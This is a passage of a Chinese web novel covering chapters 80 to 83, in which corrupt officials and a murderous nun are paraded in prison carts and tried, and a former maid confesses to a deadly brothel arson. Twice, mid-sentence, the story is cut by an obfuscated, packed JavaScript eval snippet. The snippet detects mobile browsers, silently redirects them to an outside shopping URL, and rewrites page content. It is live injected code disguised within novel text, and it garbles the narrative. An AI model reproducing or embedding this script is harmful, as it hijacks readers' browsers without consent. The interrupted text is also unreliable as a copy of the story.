火星溅在他手上，烫出几个水泡，他浑然不觉，只顾着抢救那些证据。 王兆仁趴在地上，大口大口地喘着气。他被踹得不轻，半天爬不起来。等终于缓过劲来，他抬起头，看见赵斌正蹲在地上，一张张捡起那些信件。 王兆仁闭上眼，瘫软在地上。 赵斌站起身，拍了拍手上的灰，走到他面前，居高临下地看着他。 “王参军，”他说，声音里带着嘲讽，“烧得挺快啊。” 王兆仁睁开眼，看着他，嘴唇动了动，却说不出话来。 赵斌蹲下身，凑近他，压低声音道：“你以为烧了这些，就没人知道了？告诉你，水月庵那边已经招了。你哥哥那边也已经被拿了。你那个干爹崔琰，也快了。” 王兆仁的脸彻底白了。 赵斌站起身，一挥手：“带走。” 两个侍卫上前，把王兆仁拖了起来。他像一摊烂泥，被架着往外走。 走到门口时，他忽然回过头，看着那些散落一地的信件。火光还在跳动着，映出那些字迹。有他写给崔琰的密信，有崔琰写给他的指令，有那些年他们一起干的那些勾当的记载。 完了。 全完了。 他被押出宅门，押上囚车。夜风扑面而来，带着深秋的寒意。他打了个寒颤，抬头望向夜空。 月亮又圆又亮，清辉万里。 可他再也看不见了。 囚车缓缓驶动，往钦差行辕的方向而去。 与此同时，王大官人的宅邸那边，查抄还在继续。 长风站在前院，看着侍卫们一箱箱往外抬东西。金银、绸缎、古玩、字画——每一样，都是民脂民膏。 他忽然想起方才范氏那一幕，心里涌起一股说不清的复杂情绪。那个妇人，忍了八年，就为了今天。她的儿子死了，她的心也死了，只剩下一腔恨意，支撑着她活到今天。 “头儿，”一个侍卫走过来，低声道，“后院那些妾室和丫头，怎么处置？” 长风想了想：“先登记造册，等郎主发落。” 侍卫应声去了。 长风站在院子里，环顾四周。这座曾经显赫一时的宅邸，此刻一片狼藉。那些雕梁画栋，那些花团锦簇，那些纸醉金迷，一夜之间，化为乌有。 长风抬头，月亮依旧又圆又亮，清辉洒满人间。 “头儿！”又一个侍卫跑过来，“那边传来消息，王兆仁也拿下了！” 长风精神一振：“好！收队！” 他最后看了一眼这座宅邸，转身大步离去。 囚车辚辚，在夜色中渐行渐远。 归平县的这一夜，注定要被人记住很久。 两路人马，两条战线，同时收网。王大官人、王兆仁兄弟，同日被擒。那些账本、那些信件、那些人证，全部落入钦差手中。 那些被拐卖的女子，终于可以沉冤昭雪。 那些死去的人，终于可以瞑目。 81. 第81章 囚车过处 天还没亮透，菰城城门口就已经聚满了人。卖菜的挑着担子挤在路边，茶楼的伙计搬出长凳让客人站着看，连平日里不出门的老阿婆都拄着拐杖出来了，颤巍巍地站在人群后头，伸长脖子往城门方向望。 “来了来了！” 不知是谁喊了一声，人群顿时骚动起来。所有人都踮起脚尖，往城门洞望去。 晨光里，一队人马缓缓驶入城门。 最前面是两排青衣劲装的侍卫，腰悬长刀，面容冷峻。他们身后，是五辆囚车，一字排开，每辆囚车里都关着一个人。 “老哥，这帮犯众从何处运来啊？”有不明白的问看热闹的人。 “听说从归平县押解来的呢？”旁边有人插话。 “听说钦差要亲自审理此案。” “当真，这些人犯了甚事？恁大阵仗？” ”杀人啊！听说和一个比丘尼有关呢！” “杀人？天爷！造孽啊！” 随着人群的议论，第一辆囚车过来了，是水仙姑。 她依旧穿着那身灰扑扑的僧袍，头发散乱，脸上带着伤——那是昨夜被押解途中试图逃跑时，被侍卫制住时留下的。可即便如此，她依旧抬着头，用那双阴鸷的眼睛扫视着围观的人群。那目光冷得像毒蛇，被她扫到的人，都不由自主地往后退了一步。 “呸！这个妖尼姑！”人群里有人啐了一口，“听说她害死了不少人！” “可不嘛！水月庵的事你们听说了没？后山挖出好几具尸骨呢！” “造孽啊！出家人不念佛，倒害起人命来了！” 水仙姑听着那些议论，脸上没有表情。她的目光在人群中搜寻着什么，最后定在人群前方的一个角落里。 那里，站着许娇娇。 四目相对。 水仙姑的唇角微微勾起，露出一抹诡异的笑。那笑容像是在说：你以为你赢了？你以为这就结束了？ 许娇娇迎着她的目光，没有躲闪，也没有愤怒。她只是静静看着这个女人，这个从她逃出水月庵那天起就一直在追杀她的女人，这个害死了尘师父、害死了无数无辜女子的女人。 如今，她终于被关在囚车里，像一头困兽，被游街示众。 可许娇娇心里，却没有想象中的快意。 第二辆囚车驶近，里面关着的是王大官人。 王兆贵此刻已经完全没了往日的威风。他趴在囚车里，头发披散，脸上青一块紫一块——那是昨夜被范氏打的，也是被抓时挣扎留下的。他身上的绸衫皱成一团，沾满了泥污和血迹，狼狈不堪。 “就是他！归平县的王大官人！”人群里有人认出了他，“听说他有十七八个妾，还抢人家闺女！” “呸！这种人就该千刀万剐！” “他兄弟呢？那个当官的兄弟呢？” 话音未落，第三辆囚车已经驶了过来。王兆仁坐在里面，垂着头，看不清表情。他比哥哥体面些，没有被绑着，只是双手戴着镣铐，低头望着自己的脚尖。 曾经高高在上的司户参军，此刻成了阶下囚。那些平日里见了他要点头哈腰的人，如今站在路边，指着他的脊梁骨骂。 “王参军，你也有今天啊！”一个粗豪的嗓音从人群中响起，“去年你霸占了我家三亩地，我去衙门告状，你让人把我打了出去！老天有眼啊！” 王兆仁依旧低着头，一动不动。 第四辆囚车里，是崔娘子。 她比前面几个都安静。没有抬头，没有挣扎，就那么蜷缩在囚车角落里，像一只受伤的兽。她的目光空洞地望着囚车的底板，不知在想些什么。 人群里有人小声议论：“这个是谁？” “听说是崔家那个，发运使干儿子的媳妇。” “她犯了什么事？” “谁知道呢……反正跟那些人有牵扯，能是什么好人？” 许娇娇看着崔娘子，心里涌起一股复杂的情绪。她知道崔娘子的故事——那个被逼着放火的可怜女人，那个曾经也是受害者的女子，如今也成了囚犯。 她想起昨夜，崔娘子跪在院门外，哭着说“我做不到”。那一刻，她至少还有一丝良知。可这一丝良知，救不了她。十年前那场大火，她手上已经沾了血。如今，该还的，终究要还。 第五辆囚车里，是静非。 她蜷缩在最里面，整个人抖得像筛糠。那些围观者的唾骂声、嘲笑声，像刀子一样扎在她身上。她不敢抬头，不敢看任何人，只敢把自己缩成一团，恨不得钻进地缝里去。 “这个我认得！”人群里有人喊，“她是水月庵的尼姑！我前年去上香，还见过她！” “也是个帮凶！听说那些女子就是她帮着骗来的！” “呸！什么出家人，比强盗还坏！” 一口浓痰飞过去，正落在静非脸上。她浑身一颤，却不敢擦，只把头埋得更低了。 囚车后面，还跟着一长串人。有王大官人府上的管事、账房，有水月庵剩下的那几个尼姑，还有几个平日里帮着跑腿的闲汉。一个个垂头丧气，被绳子串成一串，像一串蚂蚱。 人群越发拥挤了。有人往前挤，想看得更清楚些；有人往后退，嫌那些囚犯晦气；有人指指点点，议论纷纷；有人破口大骂，恨不得冲上去打人。 “让开让开！”几个差役在前面开道，好不容易才在人墙中挤出一条路来。 许娇娇站在人群前方的一块石阶上，旁边是静尘、静心和王氏。这个位置是长风一早安排好的。不高不低，能看清囚车，又不会被挤着。 “活该。” 王氏的声音从旁边传来。她盯着那几辆囚车，眼里满是解气的光。 “这些人，平日里作威作福，欺压百姓，买卖人口，害了多少人命！如今总算遭报应了！”她说着，往地上狠狠啐了一口，“呸！活该！” 静心站在一旁，眼圈有些红。她看着静非蜷缩的样子，想起那些年在庵里被她欺辱的日子，想起自己被关在地窖里的恐惧，想起那些被卖掉的女子绝望的眼神。 “活该。”她也跟着说了一句，声音很轻，却很坚定。 静尘没有说话。 她只是静静看着那些囚车，看着里面那些曾经不可一世的人，如今狼狈不堪的模样。她的目光落在第一辆囚车上，落在水仙姑身上。 水仙姑。那个害死她师父的人。那个让她逃亡八年的罪魁祸首。那个手上沾满了尘师父鲜血的凶手。 她以为看到这一幕，自己会高兴，会痛快，会忍不住拍手称快。可此刻，她心里涌起的，却是一种说不清的复杂情绪。 有释然。师父的仇，终于报了。 有悲哀。师父死了八年，尸骨才得以重见天日。 还有一丝……怜悯？不，不是怜悯。是对那些死去的人的悲悯，是对那些被糟蹋的生命的惋惜。水仙姑该死，可那些死了的人，再也回不来了。 “师姐。”许娇娇轻轻握住她的手。 静尘转过头，看着许娇娇。那张年轻的脸上，带着一种沉静的悲悯。她忽然明白，娇娇和自己一样，心里不是只有痛快，还有更多的沉重。 “我没事。”静尘轻声道，“就是……想起师父了。” 许娇娇握紧她的手，没有说话。 囚车继续缓缓前行。水仙姑的目光依旧在人群中游移，最后又一次落在许娇娇身上。那目光里，有恨，有不甘，还有一丝说不清的东西。 许娇娇迎着她的目光，忽然开口，声音不大，却足够让水仙姑听见。 “了尘师父在看着你。” 水仙姑的瞳孔猛地收缩。她张了张嘴，想说什么，却什么都说不出来。 囚车从许娇娇面前驶过，继续往前。水仙姑回过头，还想再看，却被人群挡住了视线。 许娇娇没有再看她。 第五辆囚车驶过，静非蜷缩在里面，始终没有抬头。她没有看见静尘和静心，也许看见了，却不敢认。 囚车队缓缓远去，往府衙的方向去了。人群渐渐散开，议论声却久久不息。 王氏忽然叹了口气：“唉，那个崔娘子……我见过她几回，看着挺和善的一个人，怎么也……” 许娇娇沉默片刻，轻声道：“也许她也是被逼的。” “被逼的？”王氏一愣，“被逼着杀人放火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381622|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 许娇娇没有解释。有些事，一两句话说不清楚。崔娘子有罪，这是毫无疑问的。可她也是受害者。十年前那场大火，她不过是个十三四岁的孩子，被人当成了棋子。 可这话说出来，又有多少人能懂？ “走吧。”许娇娇转身，“囚车走了，咱们也该回去了。” 四人沿着街边往回走。路过一个茶摊时，卖茶的陈婆子认出了她们，招呼道：“许娘子，看热闹去了？那几个坏人抓着了，可算是老天开眼！” 许娇娇点了点头，微微一笑。 陈婆子又说：“听说是那个钦差天使亲自办的案？啧啧，那可真是个好官！咱们老百姓，就指着这样的官活呢！” 许娇娇的笑意深了些。她没有接话，只是点了点头，继续往前走。 走到巷口时，刘寡妇正站在自家门口，伸长脖子往外望。见她们回来，连忙迎上来。 “许娘子！静尘师父！静心师父！王婶子！你们可回来了！”她拉着许娇娇的手，眼眶都红了，“我听说了，那些坏人被抓住了！水月庵那个妖尼姑也抓住了！太好了！太好了！” 许娇娇握住她的手，轻声道：“刘大娘，没事了。” 刘寡妇抹着眼泪，连连点头：“好，好。往后你们可以安心过日子了。” 安心过日子。 许娇娇听着这句话，心里涌起一股暖流。是啊，水仙姑落网了，王大官人落网了，那些威胁她们的人，都进了大牢。往后，总算可以安心过日子了。 可她也知道，真正的大鱼，还没有落网。 崔琰。那个手掌江南漕运的大人物。那个和水仙姑、王大官人、王兆仁勾结了这么多年的人。他还在发运使的位置上坐着，还在等着消息。 他能等来什么？ 许娇娇不知道。但她知道，裴宴不会放过他。 回到小院，静尘去烧水泡茶，静心去喂旺财，王氏坐在槐树下歇息。许娇娇一个人在屋里坐了片刻，忽然想起什么，从怀中取出那块令牌。 那是裴宴给她的。他说，若再有人欺负她，就亮出来。 如今，没有人能欺负她了。 可她却没有把令牌还回去。她也不知道为什么，就是舍不得。 令牌在掌心，冰凉的触感，却又莫名温热。她想起他站在大牢门口的背影，想起他说“必亲迎汝出”时的眼神，想起他在水月庵后山看着那些枯骨时沉默的样子。 许娇娇将令牌贴在心口，闭上眼，深深吸了一口气。 外面传来静尘的声音：“娇杏，茶好了。” 她睁开眼，将令牌小心收好，推门出去。 槐树下，四个人围坐在一起，喝着茶，说着话。阳光从树叶缝隙洒下来，在她们身上投下斑驳的光影。 “唉，那个崔娘子……”王氏又提起了她，“她家里还有个女儿吧？才十二三岁。她这一进去，那孩子怎么办？” 静尘沉默片刻，道：“听说她丈夫崔旺没有抓到，不见了。那孩子……怕是没人管了。” 许娇娇放下茶杯，轻声道：“会有办法的。” 王氏看着她：“什么办法？” 许娇娇没有回答。她也不知道有什么办法。但她知道，那个孩子是无辜的。就像当年的静心，就像那些被拐卖的女子，就像所有被这场罪恶牵连的无辜者。 总会有办法的。 日头渐渐升高，小院里渐渐热闹起来。刘寡妇端了一碟新腌的萝卜干过来，说是给她们下茶。隔壁李木匠家的媳妇也过来了，抱着孩子，说是孩子这几日有些咳嗽，想请许娘子看看。 许娇娇给孩子把了脉，开了个简单的方子，让那媳妇去张记抓药。那媳妇千恩万谢地走了。 送走她，许娇娇站在院门口，望着巷子深处。 那里，崔家的门紧紧闭着。 她想起昨夜，崔娘子跪在院门口，哭着说“我做不到”。想起她浑身发抖的样子，想起她眼中的绝望和挣扎。 那是一个被逼到绝路的母亲。 可那也是一条沾满了别人鲜血的路。 许娇娇收回目光，转身回了院子。 82. 第82章 公堂对质（一） 十月初八，立冬。 菰城府衙的大堂，今日格外肃穆。 两扇黑漆大门洞开，门楣上“明镜高悬”的匾额被擦拭得锃亮，在晨光中泛着威严的光。两班衙役手持水火棍，分列左右，个个挺胸凸肚，目光如炬。堂中央设着公案，案上摆放着签筒、印信、惊堂木，一切井井有条。 今日主审此案的，不是菰城知府，也不是归平知县，而是钦差行辕的法曹参军赵明远。 赵明远四十出头，生得白净面皮，三绺长须，看着像个温文儒雅的书生，实则办案二十余年，经手的案子没有一千也有八百，是裴宴从京城特意带来的得力干将。此刻他坐在公案后，身着青袍官服，面色沉静，目光扫过堂下，不怒自威。 公案左侧，设着一把太师椅。裴宴坐在那里，一身玄色常服，面容冷峻如常。他没有穿官袍，也没有坐主审之位，却没有人敢忽视他的存在。那双深邃的眼睛偶尔扫过堂下，便让人心头一凛。 堂下右侧，立着一人，正是皇城司察子首领赵斌。他今日没有佩刀，只穿着一身靛蓝劲装，腰间系着革带，抱臂站在一旁，看似闲散，实则一双眼睛如鹰隼般盯着在场每一个人。那些被押上堂的人犯，但凡有半分异动，他都能第一时间制住。 这是裴宴的安排。 赵明远主审，赵斌维持秩序，他自己旁听。不越俎代庖，却掌控全局。 堂外围满了人。今日开审的是震动江南的大案，从清早起就有百姓在府衙外等候，此刻已经里三层外三层，挤得水泄不通。有提着菜篮子的妇人，有抱着孩子的老汉，有穿着长衫的读书人，有短打装扮的脚夫。人人伸长脖子，踮起脚尖，往堂内张望。 “肃静——” 赵明远一拍惊堂木，堂内外顿时安静下来。 “带人犯。” 第一个被带上来的，是水仙姑。 她依旧穿着那身灰扑扑的僧袍，头发散乱，脸上带着伤。两个衙役押着她，推着她跪在堂下。她抬起头，扫了一眼堂上的人，目光在裴宴脸上停留片刻，随即移开，嘴角勾起一抹若有若无的冷笑。 第二个被带上来的，是崔娘子。 她比水仙姑狼狈得多。发髻散落，衣衫凌乱，脸上没有血色，嘴唇干裂，像是几天几夜没合眼。她被押着跪下时，整个人都在发抖，跪都跪不稳，晃了两晃，才勉强稳住身形。 后面紧接着王兆贵、王兆仁、静非、苟文书、那几个闹事的管事，一个接一个被押上来，黑压压跪了一地。 赵明远又一拍惊堂木，沉声道：“今日开审，是为审理归平县水月庵住持水仙姑，本名水娘。勾结地方豪强，戕害人命，略卖和诱妇女一案。另有归平县商人王兆贵、菰城司户参军王兆仁等人，涉嫌包庇纵容、同流合污、贪赃枉法等罪，一并审理。” 他顿了顿，目光落在水仙姑身上：“水氏，你可认罪？” 水仙姑抬起头，迎着他的目光，忽然笑了。那笑容阴恻恻的，让人心里发寒。 “认罪？”她慢悠悠地说，“贫尼犯了什么罪？大人倒是说说看。” 赵明远面色不变，只道：“你不认，本官就让你认。带证人。” 第一个被带上来的证人，是孙婆子。 她今日换了一身干净衣裳，头发梳得整整齐齐，由衙役搀着走上堂。虽然年过六旬，腿脚有些不便，可那双眼睛依旧精明。 “民妇孙氏，见过青天大老爷。”她跪下行礼。 赵明远道：“孙氏，将你所知之事，从实讲来。” 孙婆子点了点头，清了清嗓子，开口道：“民妇年轻时，在京城翠玉楼做了二十年茶水婆子。翠玉楼那地方，青天大老爷想必听说过，是京城最有名的勾栏。民妇在那里见惯了迎来送往，也见惯了那些达官贵人寻欢作乐。” 她的声音不高，却字字清晰，堂内外的人都听得清清楚楚。 “景和十年腊月二十三，小年夜。那晚，忠勤伯府的大公子戴明书来了翠玉楼，指名要头牌水娘作陪。水娘，就是如今跪在那里的她。”孙婆子抬手一指水仙姑，目光如炬，“那晚后来起了大火，烧死了二十三个人。水娘和戴明书，据说都死在了火里。” 水仙姑的脸色微微变了变，却依旧没有开口。 孙婆子继续说：“可民妇那晚逃出来时，亲眼看见一个人从角门跑出去——就是玉儿，水娘的贴身丫鬟。还有一个男人接应她，把她带走了。后来官府查案，说水娘死了，玉儿失踪了。可民妇一直觉得不对劲。” “哪里不对劲？”赵明远问。 孙婆子道：“那具说是水娘的焦尸，烧得太厉害了，根本认不出来。可水娘身边有个傻丫鬟叫随儿，那晚也不见了。民妇后来琢磨，说不定……死的是随儿，水娘扮成随儿跑了。” 堂下一片哗然。 赵明远一拍惊堂木，压下议论声，继续问：“你所言可有人证？” 孙婆子摇头：“人证没有，都死了。可民妇说的句句属实，若有半句假话，天打雷劈。” 赵明远点了点头，让她画押退下。 孙婆子走过水仙姑身边时，忽然停下脚步，低头看着她。 “水娘，”她轻声道，“二十年了，你从京城逃到江南，改了名换了姓，以为能躲过去？可老天有眼，该还的，总要还。” 水仙姑抬起头，迎着她的目光，忽然笑了。那笑容里满是嘲讽，看得孙婆子心头一凛。 “孙婆婆，”水仙姑轻声道，“你活得够久了。该闭嘴的时候，就该闭嘴。” 孙婆子脸色一变，还想说什么，却被衙役扶了下去。 赵明远又一拍惊堂木：“带下一位证人。” 第二个被带上来的，是崔娘子。 她跪在那里，浑身发抖，头都不敢抬。赵明远连问三遍，她才颤颤巍巍地抬起头，目光落在水仙姑身上。 水仙姑也正看着她。那目光冷得像毒蛇，带着威胁，带着嘲讽，还带着一丝说不清的意味。 “崔罗氏，”赵明远道，“本官问你，你可认得此人？” 崔娘子张了张嘴，好半天才发出声音：“认……认得。” “她是谁？” “她……”崔娘子的声音发抖，“她是水娘。京城翠玉楼的头牌，水娘。” 此言一出，堂下又是一阵骚动。 水仙姑的脸色彻底变了。她盯着崔娘子，眼中迸出恶毒的光。 “崔罗氏，”赵明远继续问，“你如何认得她？” 崔娘子的眼泪流了下来。她跪在那里，浑身抖得像筛糠，却一字一句地说道：“民妇……民妇当年在翠玉楼做丫鬟，伺候的就是水娘。民妇那时叫玉儿，是她的贴身丫鬟。” 堂下的议论声更大了。有人低声说：“两个尼姑，原来是京城勾栏里出来的！” 赵明远一拍惊堂木：“肃静！” 待堂下安静下来，他继续问：“那晚翠玉楼大火，你在何处？” 崔娘子的眼泪流得更凶了。她跪在那里，整个人像被抽去了骨头，软成一团。 “民妇……民妇……” “说！”赵明远一拍惊堂木，声音凌厉。 崔娘子浑身一颤，终于开口：“民妇那晚……点了……一把火。” 满堂哗然。 连赵明远都愣了一愣。他盯着崔娘子，沉声道：“你说什么？那场大火，是你放的？” 崔娘子点了点头，泪水模糊了她的视线。她跪在那里，像是被掏空了所有力气，声音沙哑得像破锣： “是民妇放的。民妇……民妇那晚在听雨轩门口倒了火油，点了火。” “为何放火？” 崔娘子抬起头，目光茫然地望着前方，像是在看什么很远很远的地方。 “因为……因为民妇恨。” “恨谁？” “恨老鸨。”崔娘子的声音渐渐平稳了些，可那平稳底下，是更深的绝望，“民妇八岁被卖进翠玉楼，在那里面活了六年。六年里，挨打挨骂是家常便饭，饿肚子是常有的事。那些姑娘们瞧不起民妇，老鸨拿民妇当牲口使。民妇想过逃，可逃不出去。想过死，又舍不得这条命。” 她顿了顿，继续说：“后来水娘挑中民妇做贴身丫鬟，民妇以为日子能好过些。可水娘比老鸨还难伺候，动辄打骂，稍有不顺就拿民妇出气。民妇那时候就想，什么时候能离开这个鬼地方，什么时候能过上人的日子。” 堂下静悄悄的，只有崔娘子的声音在回荡。 “后来……后来崔旺找到了民妇。” 赵明远目光一凝：“崔旺？可是崔琰的义子，你的丈夫？” 崔娘子点了点头：“是。他小时候和民妇是邻居，两家挨着住。后来他家败了，民妇家也败了，就失散了。他不知怎么打听到民妇在翠玉楼，就托人给民妇带话，说……说有办法救民妇出去。” “什么办法？” 崔娘子的声音更低了：“他说，只要民妇帮他做一件事，他就能救民妇出去，让民妇和他一起过日子，再也不受那些苦。” “什么事？” “放火。”崔娘子闭上眼，泪水顺着脸颊滑落，“他说腊月二十三那晚，戴明书会来翠玉楼，点水娘的牌子。只要民妇趁他们不注意，在门口倒上火油，点一把火，就能烧死戴明书。戴明书死了，忠勤伯府就乱了，没人会注意民妇，他就能把民妇接出去。” 堂下的议论声嗡嗡作响。有人骂“歹毒”，有人叹“可怜”，有人只是摇头。 赵明远沉声问：“你可知那晚烧死了多少人？” 崔娘子的身体剧烈地颤抖起来。她跪在那里，双手撑着地，头几乎埋进胸口。 “民妇……民妇后来才知道的。二十三个人……二十三条人命……” 她的声音哽咽得说不下去。 赵明远沉默片刻，又问：“你可知道，戴明书是什么人？为何要杀他？” 崔娘子点头又摇头：“民妇知道戴明书是忠勤伯府的衙内，为何要杀他，崔旺没有说，民妇也不敢问。民妇只知道，只要点那把火，就能离开那个鬼地方，就能过上人的日子。民妇……民妇那时候只有十四岁，什么都不懂，只知道恨，只想要逃……” 她忽然抬起头，泪流满面地看向赵明远：“大人，民妇知道错了！民妇这十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385229|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年，没有一夜不做噩梦，梦里全是那些惨叫的人，全是那场大火！民妇后悔，可后悔有什么用？人都死了，都死了……” 她哭得说不出话来。 堂下一片寂静。连那些原本骂骂咧咧的人，此刻也闭了嘴。 就在这时，一阵冷笑打破了寂静。 水仙姑跪在那里，看着崔娘子，笑得浑身发抖。 “好，好，好一出苦情戏。”她盯着崔娘子，眼中满是嘲讽，“玉娘，你哭得真好，说得真好。可你以为，哭几声，说几句后悔，就能把自己洗白了？” 崔娘子抬起头，看着水仙姑，眼中满是恐惧。 水仙姑慢慢直起身子，虽然跪着，可那姿态，倒像是在俯视她。 “你是被逼的，你是无辜的，你什么都不懂。放你娘的狗屁！”水仙姑的声音忽然拔高，尖厉得像夜枭，“十四岁怎么了？十四岁就该不懂事？十四岁就该放火杀人？我告诉你，罗玉娘，你比我狠多了！” 她转向赵明远，冷笑道：“大人，不用审了，我认。我就是当年的水娘，翠玉楼的头牌。那晚我没死，我扮成随儿跑了。你们要问为什么？因为我不想给戴明书那个畜生陪葬！那畜生折磨死多少女子，你们知道吗？他死一百回都便宜他了！” “那晚，他是醉着来的，到我房里时已经人事不省，我连一杯酒都没来得及给他灌。我正想着怎么把这摊烂肉弄出去，外头就乱了。”水仙姑的眼神变得飘忽，仿佛穿透了时光，回到了那个噩梦般的夜晚，“是随儿，那个粗使丫头，一头冲进来，拉着我就往外跑，喊着‘姑娘，着火了，救救我’。她吓坏了，手劲大得吓人，我怎么甩都甩不脱。” 她的声音忽然顿住，眼中闪过一抹复杂神色。 “火越来越大，烟已经灌进来了。随儿这个傻子，她拉着我，我还怎么逃。我抄起妆台上的铜香炉，照着她后脑勺砸了下去。”水仙姑说到这里脸上展出一抹残忍的笑：“这个傻子，做了我的替死鬼。我把她和戴明书那个畜生放在一处，做了一对死鬼鸳鸯......” 堂下顿时一阵骚动。 水仙姑继续说：“可罗玉娘呢？她放那把火，是因为恨老鸨，是因为想逃出去过好日子。可她想过没有，那火一点，烧死的不止是戴明书，还有那些无辜的人！翠玉楼上上下下几十口，还有那些狎客。” 崔娘子的脸色惨白如纸，整个人抖得像风中的落叶。 水仙姑看着她，忽然笑了。那笑容阴森森的，看得人脊背发寒。 “玉娘，这十多年你每夜做噩梦，梦见那些惨叫的人，对不对？你知道为什么吗？因为那些人就站在你身后，天天看着你！” 崔娘子猛地回头，什么都没有。可她浑身发抖，像是真的看见了什么。 水仙姑的笑声越来越大，越来越尖厉，在公堂上回荡。 “你以为你嫁了人，换了名字，就能从头来过了？你以为那些死去的人会放过你？做梦！你手上沾着二十三条人命，这辈子都洗不干净！” 崔娘子瘫软在地上，整个人像是被抽去了骨头。她的嘴唇哆嗦着，想说什么，却一个字都说不出来。 水仙姑跪在那里，笑得眼泪都流了出来。那笑声里，有疯狂，有绝望，还有一丝说不清的快意。 “罗玉儿，你就是个杀人犯！和我一样！不，你比我更狠！我至少是被逼的，你是心甘情愿的！你为了逃出去，为了和那个男人双宿双飞，你放了那把火！二十三条人命，你背得动吗？” “够了！” 赵明远一拍惊堂木，声音如雷。两个衙役上前，按住水仙姑，她才止住了笑。 可她的目光，依旧死死盯着崔娘子，那眼神，像是要把她生吞活剥。 崔娘子趴在地上，浑身发抖，泪水无声地流。她想辩解，想说自己不是心甘情愿的，想说自己也是被逼的，可那些话堵在喉咙里，一个字都说不出来。 因为水仙姑说的是真的。 那晚，崔旺跟她说，只要点一把火，就能救她出去，就能和她双宿双飞。她心动了。她真的心动了。她想着那些年受的苦，想着那些打骂，想着那些屈辱，想着终于能离开那个鬼地方，终于能过上人的日子—— 她就点了那把火。 她没有想过会烧死那么多人。她没有想过那些无辜的人。她只想逃出去，只想活下去，只想和崔旺在一起。 可那些人，真的死了。 二十三条人命。 她背不动，她也逃不掉。 公堂上一片死寂。 赵明远沉默片刻，缓缓开口：“崔氏，水氏所言，可是实情？” 崔娘子趴在地上，好半天才发出一声呜咽：“是……是实情。” 那声音轻得像蚊蝇，可在寂静的公堂上，每个人都听得清清楚楚。 赵明远点了点头，提起笔，在供状上写了几行字。 “画押。” 崔娘子颤颤巍巍地接过笔，在那张供状上画了押。她的手抖得厉害，那个押画得歪歪扭扭，像是她的人生，从一开始就歪了。 水仙姑跪在一旁，冷眼看着，嘴角始终挂着那抹诡异的笑。 83. 第83章 公堂对质（二） 水仙姑的笑声还在公堂上回荡，赵明远已经又一拍惊堂木。 “带下一个人犯——静非！” 静非被两个衙役拖了上来。她整个人缩成一团，浑身抖得像筛糠，跪下去时险些栽倒在地。从被押上堂的那一刻起，她就不敢抬头，不敢看任何人，只敢盯着自己的膝盖，嘴里念念有词，也不知在念叨什么。 “静非。”赵明远的声音从头顶压下来，“水氏杀害了尘一案，你可知情？” 静非浑身一颤，猛地抬起头。她的目光在堂上飞快地扫过。水仙姑跪在一旁，正用那双阴鸷的眼睛盯着她；崔娘子趴在地上，已经哭得没了声息；王兆贵跪在另一侧，脸上青一块紫一块，低着头不知在想什么。 静非的心猛地一缩。 “静非！”赵明远又一拍惊堂木，“本官问你话，还不从实招来！” 静非一个激灵，嘴唇哆嗦着，却说不出话来。 水仙姑在一旁冷笑：“招啊，你不是挺能说的吗？那夜你怎么帮我埋人的，怎么不敢说了？” 静非猛地转头看向她，眼中满是惊恐和哀求。可水仙姑根本不看她，只盯着堂上的赵明远，嘴角挂着那抹诡异的笑。 赵明远皱了皱眉，沉声道：“传证人静尘、许氏上堂。” 人群自动让开一条路。静尘深吸一口气，迈步走进公堂。许娇娇跟在她身后，一手轻轻扶着她的胳膊。 两人在堂下站定，向堂上行礼。 静尘今日穿了一身素净的灰布衣裳，头发梳得一丝不苟，脸上没有脂粉，却比往日多了几分沉静。她跪下去时，背脊挺得笔直，目光直直看向堂上的赵明远。 “民女静尘，见过青天大老爷。” 许娇娇也跟着跪下，却没有说话。她的目光在堂上扫过——水仙姑、静非、王兆贵、崔娘子，一张张脸，一个个跪在那里。曾经不可一世的人，如今都成了阶下囚。 她忽然想起一年多前，自己从水月庵后山逃出来时的狼狈模样。 如今，他们都在这里。 赵明远看着静尘，语气比方才温和了些：“静尘，将你所知之事，从实讲来。” 静尘点了点头，开口道：“民女本是水月庵比丘尼，师从了尘师父。了尘师父是水月庵前任住持，待民女如亲生女儿一般，教民女识字读经，教民女做人道理。” 她的声音不高，却字字清晰，带着一丝压抑不住的哽咽。 “八年前，水仙姑来到水月庵投奔师父，师父说水仙姑是她一个隔房的师妹，多年未见。水仙姑哭诉说在外难以生存，过不下去，求师父收留，让她在寺里做个带发修行的姑子，师父看在亲戚的情分上，答应了她。可师父万万没想到，她不知怎么和归平县的王大官人勾连，做起了略卖人口的勾当。师父发现后，痛心疾首，劝她回头，她不肯。师父说要报官，她便起了杀心。” 堂下一片寂静，只有静尘的声音在回荡。 “那日早上，贫尼亲眼看见的。”静尘的声音微微发抖，却依旧在说，“水仙姑给师父端了一杯茶，师父喝完就倒下了。” 她啜泣几声，继续说：“师父死后，水仙姑和静非把她的尸首埋在了后院那棵老歪脖子枣树下。八年了，整整八年，民女每一夜都梦见师父，梦见她瞪大的眼睛……” 她说不下去了，低下头，肩膀剧烈地颤抖。 许娇娇跪在她身旁，轻轻握住她的手。 赵明远沉默片刻，又问：“你所言，可有凭证？” 